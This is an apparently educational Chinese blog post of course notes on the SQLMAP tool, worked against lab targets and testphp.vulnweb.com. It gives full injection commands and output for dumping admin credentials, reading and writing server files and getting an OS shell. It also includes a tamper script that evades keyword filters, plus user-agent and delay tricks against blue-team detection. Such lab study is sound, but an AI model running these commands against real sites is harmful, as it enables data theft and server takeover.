4111 字
21 分钟
第46天:WEB攻防-PHP应用

知识点#

  1. 注入工具 - SQLMAP - 常规猜解 & 字典配置
  2. 注入工具 - SQLMAP - 权限操作 & 文件命令
  3. 注入工具 - SQLMAP-Tamper & 使用 & 开发
  4. 注入工具 - SQLMAP - 调试指纹 & 风险等级

SQLMAP 详解#

SQLmap 是什么?#

SQLMAP 是一个自动化的 SQL 注入工具,其主要功能是扫描,发现并利用给定的 URL 和 SQL 注入漏洞,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取操作权限时执行任意命令。

SQLMAP 是开源的自动化 SQL 注入工具,由 Python 写成,具有如下特点:

  1. 完全支持 MySQL、Oracle、PostgreSQL、MSSQL、Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB 和 Informix 等多种数据库管理系统。
  2. 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
  3. 在数据库证书、IP 地址、端口和数据库名等条件允许的情况下支持不通过 SQL 注入点而直接连接数据库。
  4. 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
  5. 支持自动识别密码哈希格式并通过字典破解密码哈希。
  6. 支持完全地下载某个数据库中的某个表、也可以只下载某个表中的某几列。
  7. 支持在数据库管理系统中搜索指定的数据库名、表名和列名
  8. 当数据库管理系统是 MySQL、PostgreSQL 或者 MSSQL 时支持下载或上传文件。
  9. 当数据库管理系统是 MySQL、PostgreSQL 或者 MSSQL 时支持执行任意命令并回显标准输出。

SQLMAP—Python 安装#

官网地址:https://sqlmap.org/

GitHub 地址:https://github.com/sqlmapproject/sqlmap

如果是 windows 系统需要先下载 python 安装,然后再下载 sqlmap 进行安装和使用,在 kali 系统自带 sqlmap 工具。

演示案例#

sqlmap 测试站点:http://vulnweb.com/

前提:已知注入点,后期漏洞发现和漏扫时可以获知

sqlmap 了解,若在 windows 上安装

  1. 字典文件路径../data/txt/
  2. 注入日志路径 C:/Users/PC 登录账户 / AppData/Local/sqlmap/outmap/IP
  3. 注:同一 IP 再次注入时,需删掉之前的注入日志。

➢本地注入 Access 数据库#

靶场环境是之前的,注入点在这里:http://192.168.85.134:89/News.asp?classid=1

img

爆破数据库#

sqlmap -u "http://192.168.85.134:89/News.asp?classid=1"

当出现类似下面这样的结果时,就成功了

[00:10:14] [INFO] testing Microsoft Access
[00:10:14] [INFO] confirming Microsoft Access
[00:10:14] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows XP or 2003
web application technology: ASP, ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft Access

爆破表名#

实际上是用字典跑出来,可以用 sqlmap 自带的,也可以使用自己的字典

sqlmap -u "http://192.168.85.134:89/News.asp?classid=1" --tables

这里只能跑出来仨

[00:10:49] [WARNING] running in a single-thread mode. This could take a while
[00:10:54] [INFO] retrieved: admin
[00:10:56] [INFO] retrieved: news
[00:10:58] [INFO] retrieved: book
<current>
[3 tables]
+-------+
| admin |
| book |
| news |
+-------+

爆破列名#

也是用字典跑,也是可以用 sqlmap 自带的,也可以用自己的

sqlmap -u "http://192.168.85.134:89/News.asp?classid=1" --columns -T "admin"

我这里跑出来 username 和 password 就停了

[00:23:23] [INFO] starting 10 threads
[00:23:23] [INFO] retrieved: id
[00:23:23] [INFO] retrieved: username
[00:23:28] [INFO] retrieved: data
[00:23:37] [INFO] retrieved: password
[00:23:55] [INFO] tried 422/2768 items (15%)^C
[00:23:55] [INFO] waiting for threads to finish (Ctrl+C was pressed)
[00:23:56] [WARNING] user aborted during column existence check. sqlmap will display partial output
Database: <current>
Table: admin
[4 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| data | non-numeric |
| id | numeric |
| password | non-numeric |
| username | non-numeric |
+----------+-------------+

爆破用户名密码#

直接爆用户名密码

sqlmap -u "http://192.168.85.134:89/News.asp?classid=1" -T "admin" -C "username,password" --dump

过程中会让选字典爆密码,自己选就行。

这里没爆出来明文,所以需要自己去解一下 md5 加密

[00:27:09] [INFO] starting dictionary-based cracking (mysql_old_passwd)
[00:27:09] [INFO] starting 4 processes
[00:27:20] [WARNING] no clear password(s) found
Database: <current>
Table: admin
[1 entry]
+----+----------+------------------+
| id | username | password |
+----+----------+------------------+
| 1 | admin | e8519fc066e01f4b |
+----+----------+------------------+

我用的 https://www.somd5.com/,因为之前那个解这个要付费 https://www.cmd5.com/,password 解出来结果是 panfei806

➢数据猜解 - 库表列数据 & 字典#

这个测试的是:http://testphp.vulnweb.com/artists.php?artist=1

1. 测试有无注入#

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"

结果显示有,继续后续操作

2. 获取当前数据库#

因为 mysql 数据库高版本时,都会有用户本身管理的数据库和一个 information_schema,而 sqlmap 直接 —tables 参数,会将当前用户管理的数据库下的表都显示出来,所以一般注入非 Access 数据库时,一般会先 —current_db 获取当前数据库名

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-db

这里获取到数据如下

[00:51:42] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12
[00:51:42] [INFO] fetching current database
current database: 'acuart'

然后在指定该数据库进行查询

3. 获取表名#

指定数据库进行查询

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --tables -D "acuart"

获取信息如下

[00:54:16] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----------+
| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| products |
| users |
+-----------+

4. 获取列名#

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --columns -T "users" -D "acuart"

获取结果如下

[00:56:14] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column | Type |
+---------+--------------+
| name | varchar(100) |
| address | mediumtext |
| cart | varchar(100) |
| cc | varchar(100) |
| email | varchar(100) |
| pass | varchar(100) |
| phone | varchar(100) |
| uname | varchar(100) |
+---------+--------------+

5. 获取指定字段信息#

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -C "uname,pass" -T "users" -D "acuart"

获取信息如下

[00:57:59] [INFO] fetching entries of column(s) 'pass,uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-------+------+
| uname | pass |
+-------+------+
| test | test |
+-------+------+

总结#

测试非 ACCESS 数据时,先使用 —current-db 查询当前数据库名,然后在进行后续查询,如:

--tables -D "db_name" #列出指定数据库的表
--columns -T "table_name" -D "db_name" #列出指定数据库的表的字段
--dump -C "column_name1,..." -T "table_name" -D "db_name" #列出指定数据库的表的字段的数据

➢权限操作 - 文件 & 命令 & 交互式#

测试#

MYSQL 高权限注入,本地环境测试、

测试过程#

  1. 通常首页测试当前数据库用户权限,继而判断该进行什么后续操作,有时会误报
// --is-dba #是否是数据库管理员 --privileges #查看权限 --current-user #获取当前用户名称
sqlmap -u "http://x.x.x.x/sqli/new.php?id=1" --is-dba
sqlmap -u "http://x.x.x.x/sqli/new.php?id=1" --privileges
sqlmap -u "http://x.x.x.x/sqli/new.php?id=1" --current-user

这里 —is-dba 和 —privileges 都没判断出来,最后使用 —current-user 发现是 root 用户

image-20250823181148783

发现为高权限 root 用户,然后可以使用各种参数进行后续注入

// --sql-shell #执行指定sql命令
sqlmap -u "http://x.x.x.x/sqli/new.php?id=1" --sql-shell
// --file-read #读取指定文件
// --file-write #写入本地文件
// --file-dest #要写入的文件绝对路径
// --file-write /test/test.txt --file-dest /var/www/html/1.txt;
# 将本地的/test/test.txt文件写入到目标的/var/www/html/1.txt
// --os-cmd=id #执行系统命令
// --os-shell #系统交互shell

—sql-shell #执行指定sql命令

image-20250823181507072

image-20250823181604082

image-20250823181743486

—file-read #读取指定文件,这里读取d:\1.txt

image-20250823182257084

—file-write #写入本地文件

image-20250823182634489

image-20250823182613105

—os-cmd=id #执行系统命令

image-20250823183343822

后续测试流程和上面测试 —— 数据猜解 - 库表列数据 & 字典时一致

总结#

当当前数据库用户有高权限时,有很多其他方式进行注入,并且危害更大, 因此后续手段也与普通用户有所不同,对网站的危害也就更大。

➢提交方法 - POST&HEAD&JSON#

测试#

测试Post数据,需要将data添加到--data ""中
测试Cookie 需要将cookie添加到--cookie ""中
数据为json格式时,使用--data将无法检测到注入点,需要-r方式,使用数据包进行注入,然后在可能有注入的地方添加*
-r 1.txt

推荐建议#

使用 - r 进行测试,因为如果单独使用 —data 或者 —cookie 进行测试注入,sqlmap 会使用自带的访问请求包携带数据或者 cookie 去请求注入,而对方网站可能会有特征流量分析或者只允许某种浏览器或者手机访问,那么 sqlmap 的包将可能会被拦截无法注入。而当使用 - r 参数使用抓包得到的数据包进行注入时,使用的是正常发给网站的请求,网站不会进行拦截。

1.在处理POST请求的时候,应该首先在页面测试(因为没有参数)#

2.输入用户名和密码进行登录提交表单的测试#

image-20250823184151268

3.并进行抓包,查看对应==登录文件中负载的表单数据格式==#

4.普通的字符串格式:”uname=test&pass=test”#

image-20250823184516930

–data “”

该选项用于指定要发送的 POST 数据。在你的命令中,—data 的值被设置为空字符串,表示没有提供具体的 POST 数据。通常,你需要在引号内提供实际的 POST 数据,例如 —data “uname=test&pass=test

注意:指定URL需要指定,接受POST数据的URL,而不是登录的URL 是:http://testphp.vulnweb.com/userinfo.php(抓取到包中是有负载数据,才是目标URL)

python sqlmap.py -u “http://testphp.vulnweb.com/userinfo.php” --data "uname=test&pass=test"

-u “http://testphp.vulnweb.com/userinfo.php”: 指定目标 URL,这里是登录页面的 URL。 -data “uname=test&pass=test”: 指定 POST 请求的数据,这里是用户名 uname 和密码 pass,分别设置为 “test”。

成功实现POST数据注入:

image-20250823185549443

–cookie “”(原理一样,只做data的演示)

该选项用于指定要发送的 Cookie 信息。在你的命令中,--cookie 的值也被设置为空字符串,表示没有提供具体的 Cookie 信息。通常,你需要在引号内提供实际的 Cookie 信息,例如 --cookie "sessionID=123456"

推荐使用-r 1.txt

该选项用于从文件中读取请求内容。在你的命令中,-r 后面的值是文件路径(1.txt),表示 SQLMap 将从该文件中读取请求内容,包括请求头和请求体

首先进行页面测试,并进行抓包

在抓包内容下查看,携带POST请求数据的页面:http://testphp.vulnweb.com**/userinfo.php**

选中对应的页面数据包,复制请求标头

image-20250823190443333

复制请求数据包:uname=test&pass=test

将复制的东西,创建一个1.txt文件,并存放在sqlmap的目录下 D:\天狐渗透工具箱-社区版V2.0纪念版\天狐渗透工具箱-社区版V2.0纪念版\tools\gui_scan\sqlmap

将请求数据包中的数据,用*打上注入点,这样方便快捷注入 如果没有注入点,自动注入,无法确定在哪里注入,会浪费很多时间

1.txt

POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://testphp.vulnweb.com
Connection: keep-alive
Referer: http://testphp.vulnweb.com/login.php
Cookie: login=test%2Ftest
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=test*&pass=test*

image-20250823190055129

打开sqlmap,实行注入:python sqlmap.py -r .\1.txt

image-20250823190926958

5.json格式:{“username”:“admin”,“password”:“password”}#

image-20250823191749880

抓包,指定URL:http://127.0.0.1/sqli/json_check.php

选中对应的页面数据包,复制请求标头

复制数据包:

{ “username”: “admin”, “password”: “password” }

将复制的东西,==创建一个json.txt==文件,并存放在sqlmap的目录下 D:\天狐渗透工具箱-社区版V2.0纪念版\天狐渗透工具箱-社区版V2.0纪念版\tools\gui_scan\sqlmap

将请求数据包中的数据,用*打上注入点,这样方便快捷注入

json.txt

POST /sqli/json_check.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/json
Content-Length: 42
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/sqli/json.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
{
"username":"admin*",
"password":"password*"
}

打开sqlmap,实行注入:python sqlmap.py -r .\json.txt

image-20250823193735723

➢绕过模块 - Tamper 脚本 - 使用 & 开发#

测试:base64注入 有过滤的注入 –tamper=base64encode.py –tamper=test.py

前提#

网站传递参数使用了 base64 加密,如

http://x.x.x.x/sqli/base64.php?id=MQ==

测试#

base64 注入 有过滤的注入,使用 sqlmap 时调用 —tamper 脚本

sqlmap -u "http://x.x.x.x/sqli/base64.php?id=MQ==" --tamper=base64encode.py

Tamper脚本使用#

1.测试GET页面,抓包,选中带有负载数据的页面http://127.0.0.1/sqli/base64.php?id=MQ==#

78e515d26a49c56d7a45cd89cd48faa3

1db877081413412224369447b4d996e6

2.由于注入页面中有id=MQ,判定是base64加密后的数据 3.实行sqlmap执行查看注入点:python sqlmap.py -u “http://127.0.0.1/sqli/base64.php?id=MQ==” 4.报错无注入点:原因base64编码,导致注入语句怎样拼接都无法成功解码注入 image-20250823200554790

f1fd1a80124e7665ecc8b448e4064e42

5.采用sqlmap中自带的Tamper脚本,解决base64编码解码问题#

99a7bea174160216daa2eb867c5ce534

image-20250823224639628

b98901f9778c84e41d261cc2b8050a1a

6.引入Tamper脚本base64encode.py,再次实行注入:python sqlmap.py -u “http://127.0.0.1/sqli/base64.php?id=MQ== –tamper=base64encode.py成功注入**#

image-20250823230537739

Tamper脚本开发思路:#

(1)前期分析检测判断过滤条件, (2)分析过滤条件实行转换为对应的python代码, (3)将代码放入sqlmap实验是否可以绕过过滤

1.在代码中,开启对于一些注入语句的关键词,进行过滤#
$id=str_replace("select","",$id);
$id=str_replace("SELECT","",$id);
$id=str_replace("sleep","",$id);
$id=str_replace("SLEEP","",$id);
$id=str_replace("ELT","",$id);
$id=str_replace("elt","",$id);
$id=str_replace("and","",$id);
$id=str_replace("AND","",$id);
$id=str_replace("or","",$id);
$id=str_replace("OR","",$id);
$id=str_replace("xor","",$id);
$id=str_replace("xor","",$id);

image-20250823230846100

如图中select过滤为空了

image-20250823231056534

2.指定url,使用sqlmap,查看注入点:python sqlmap.py -u "http://127.0.0.1/sqli/new.php?id=1" 报错,由于网址开启了过滤条件,无法正常注入#

image-20250823231936692

3.随便在Tamper脚本中,复制一个模板,修改模板编写自己想要过滤的条件代码#
# 导入 SQLMap 中定义的优先级枚举
from lib.core.enums import PRIORITY
# 设置 tamper 脚本的优先级为低(LOW)
priority = PRIORITY.LOW
# 定义一个空的函数 dependencies,用于声明脚本的依赖关系,这里没有具体的实现。
def dependencies():
pass
# 定义 tamper 函数,它接受一个 payload 参数和其他关键字参数。
def tamper(payload, **kwargs):
# 如果存在有效的 payload
if payload:
# 替换 payload 中的一些 SQL 注入关键字,试图绕过过滤机制
payload = payload.replace('SELECT', 'sElEct')
payload = payload.replace('OR', 'Or')
payload = payload.replace('AND', 'And')
payload = payload.replace('SLEEP', 'SleeP')
payload = payload.replace('ELT', 'Elt')
# 返回处理后的 payload
return payload

4.将编写好的Tamper脚本,放置在sqlmap中的tamper目录下并开启sqlmap进行注入:

python sqlmap.py -u "http://127.0.0.1/sqli/new.php?id=1" –tamper=bypass.py

image-20250823233015189

➢分析拓展 - 代理 & 调试 & 指纹 & 风险 & 等级#

1、后期分析调试:

v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容

-v (0-6) 查看创建的Tamper脚本是否生效

对比前后是否使用Tamper脚本,的注入符号

不使用Tamper脚本

python sqlmap.py -u "http://127.0.0.1/sqli/new.php?id=1" -v 4

cae427897af682caf08ddd8da7ea7e85

  • 使用Tamper脚本

    python sqlmap.py -u "http://127.0.0.1/sqli/new.php?id=1" –tamper=bypass -v 4

    3da14084d244a242f4234de314014800

发现使用脚本前后,注入符号由OR更改为Or,证明脚本执行成功

2、–proxy “http://xx:xx” #代理注入

python sqlmap.py -u "http://127.0.0.1/sqli/new.php?id=1" --level=3 --risk=2 –proxy "http://127.0.0.1:8080/"

确认关闭代理后,打开burp,将对应的代理的URL,使用 –proxy语句跟在sqlmap执行语句之后;

发现burp中接受到注入的的数据包,便于后期分析注入原理。

image-20250824001123623

3、打乱默认指纹:

–user-agent "" #自定义user-agent
–random-agent #随机user-agent

面试问题:由于显示的数据包user-agent会携带一些固有流量特征,会被蓝队进行防护和识别。

​ sqlmap的固有流量特征:数据包user-agent中会默认其版本号

​ User-agent: sqlmap/1.7.2.16#dev (https://sqlmap.org)

解决方式:通过自定义或者随机ua头,避免被过滤

通过自定义user-agent:—user-agent ""

随机user-agent:

python sqlmap.py -u "http://127.0.0.1/sqli/new.php?id=1" –tamper=bypass -v 4 --random-agent

image-20250823234803598

image-20250823234914706

面试问题:一个网址访问过快,大量的请求,频繁的扫描行为,可能引起网络防御工具的注意。

解决方式:使用延迟响应语句

python sqlmap.py -u "http://127.0.0.1/sqli/new.php?id=1" –tamper=bypass -v 4 --random-agent -time-sec=5

—time-sec=5#延迟响应,默认迟为5秒。

-time-sec=5 是sqlmap的一个命令行选项,用于指定在检测过程中用于基于时间的盲注攻击的时间延迟范围。设置了时间延迟的范围,以使sqlmap能够在进行基于时间的盲注攻击时更灵活地进行操作。时间延迟是在进行盲注时,根据响应的延迟时间来判断是否成功执行了SQL语句。

image-20250823235206028

4、使用更多的测试:–level —risk等级限制#

–level=(1-5) #要执行的测试水平等级,默认为1
–risk=(0-3) #测试执行的风险等级,默认为1

69d3ea9fd4e46a130a2b8f6b24b2792a

  • 总结:在使用盲注扫描注入点的时候,可以将规则等级进行设置提示,可能会扫到其他的注入点。
  1. 将源码设置为两个可注入点:分别为idUser-Agent

2ac4391bd1f968a07cef43f4484fe70a

当使用sqlmap进行扫描的时候,不使用自己创建的Tamper脚本,默认扫描注入点:

首先使用默认等级进行扫描:

python sqlmap.py -u "http://127.0.0.1/sqli/new.php?id=1"

​ 发现有过滤,无法寻找到注入点

image-20250824000354348

在执行代码后==规定等级:==—level=3(测试水平等级) —risk=2(执行的风险等级)

python sqlmap.py -u "http://127.0.0.1/sqli/new.php?id=1" --level=3 --risk=2

发现找到注入点:但是不是先前判断的id注入点,而是不知晓的User-Agent 原因:使用高等级的规则进行查询扫描注入点的时候,又可能会扫描到其他注入点

image-20250824000819334

参考#

sqlmap 超详细笔记:https://www.cnblogs.com/bmjoker/p/9326258.html

sqlmap 详解参考:https://zhuanlan.zhihu.com/p/377428620

6f96057966e1875cc63b931dd3005425

第46天:WEB攻防-PHP应用
https://konwait12.github.io/my-kon-blog/posts/046web攻防/
作者
k-on!--wait
发布于
2025-08-23
许可协议
CC BY-NC-SA 4.0